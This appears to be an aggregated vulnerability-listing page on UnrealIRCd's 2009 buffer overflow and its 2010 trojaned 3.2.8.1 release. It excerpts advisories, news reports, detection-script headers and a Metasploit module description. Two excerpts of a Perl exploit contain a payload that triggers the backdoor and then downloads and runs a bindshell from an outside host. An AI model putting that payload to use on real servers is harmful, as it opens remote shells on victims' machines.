UnrealIRCd Buffer Overflow Vulnerability

UnrealIRCd is prone to a buffer overflow vulnerability. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:unrealircd:unrealircd";...

[ GLSA 201006-21 ] UnrealIRCd: Multiple vulnerabilities

Gentoo Linux Security Advisory GLSA 201006-21 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity:...

UnrealIRCd IRC server multiple security vulnerabilities

Buffer overflow, backdoor code...

CVE-2009-4893

Buffer overflow in UnrealIRCd 3.2beta11 through 3.2.8, when allow::options::noident is enabled, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via unspecified vectors...

CVE-2010-2075

UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification Trojan Horse in the DEBUG3DOLOGSYSTEM macro, which allows remote attackers to execute arbitrary commands...

Command injection

UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification Trojan Horse in the DEBUG3DOLOGSYSTEM macro, which allows remote attackers to execute arbitrary commands...

Buffer overflow

Buffer overflow in UnrealIRCd 3.2beta11 through 3.2.8, when allow::options::noident is enabled, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via unspecified vectors...

CVE-2009-4893

UnrealIRCd is affected by CVE-2009-4893 in versions 3.2beta11 through 3.2.8 where the vulnerability is a buffer overflow in the user authentication path when the noident option is enabled. The impact described in the sources is that a remote attacker can crash the server and may potentially execu...

CVE-2010-2075

CVE-2010-2075 affects UnrealIRCd 3.2.8.1, where an externally introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro allowed remote command execution. The backdoor was present in UnrealIRCd 3.2.8.1 downloads between November 2009 and June 12, 2010. Public references describe a ba...

CVE-2010-2075

UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification Trojan Horse in the DEBUG3DOLOGSYSTEM macro, which allows remote attackers to execute arbitrary commands...

CVE-2009-4893

Buffer overflow in UnrealIRCd 3.2beta11 through 3.2.8, when allow::options::noident is enabled, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via unspecified vectors...

UnrealIRCD 3.2.8.1 Backdoor Command Execution

$Id: unrealircd3281backdoor.rb 9510 2010-06-13 12:41:48Z swtornio $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

GLSA-201006-21 : UnrealIRCd: Multiple vulnerabilities

The remote host is affected by the vulnerability described in GLSA-201006-21 UnrealIRCd: Multiple vulnerabilities Multiple vulnerabilities have been reported in UnrealIRCd: The vendor reported a buffer overflow in the user authorization code CVE-2009-4893. The vendor reported that the distributed...

IRC Server Backdoor Went Unnoticed for 7 Months

The developers of the open source IRC server UnrealIRCd have had to report that the file servers of the project were compromised several months ago and the IRC servers code, Unreal3.2.8.1.tar.gz was replaced by a version with a backdoor. The backdoor allows anyone to execute commands on the serve...

UnrealIRCd: Multiple vulnerabilities

Background UnrealIRCd is an Internet Relay Chat IRC daemon. Description Multiple vulnerabilities have been reported in UnrealIRCd: The vendor reported a buffer overflow in the user authorization code CVE-2009-4893. The vendor reported that the distributed source code of UnrealIRCd was compromised...

UnrealIRCd Backdoor Detection

The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid46882; scriptversion"1.16";...

UnrealIRCd 3.2.8.1 - Remote DownloaderExecute

UnrealIRCd 3.2.8.1 - Remote DownloaderExecute !/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshel...

UnrealIRCd Backdoor

Detection of backdoor in UnrealIRCd. SPDX-FileCopyrightText: 2010 Vlatko Kosturjak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later CPE = "cpe:/a:unrealircd:unrealircd"; ifdescriptio...

UnrealIRCd 3.2.8.1 - Remote Downloader/Execute

!/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &'; my...

UnrealIRCD 3.2.8.1 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. This module requires Metasploit: https://metasploit.com/download Current source:...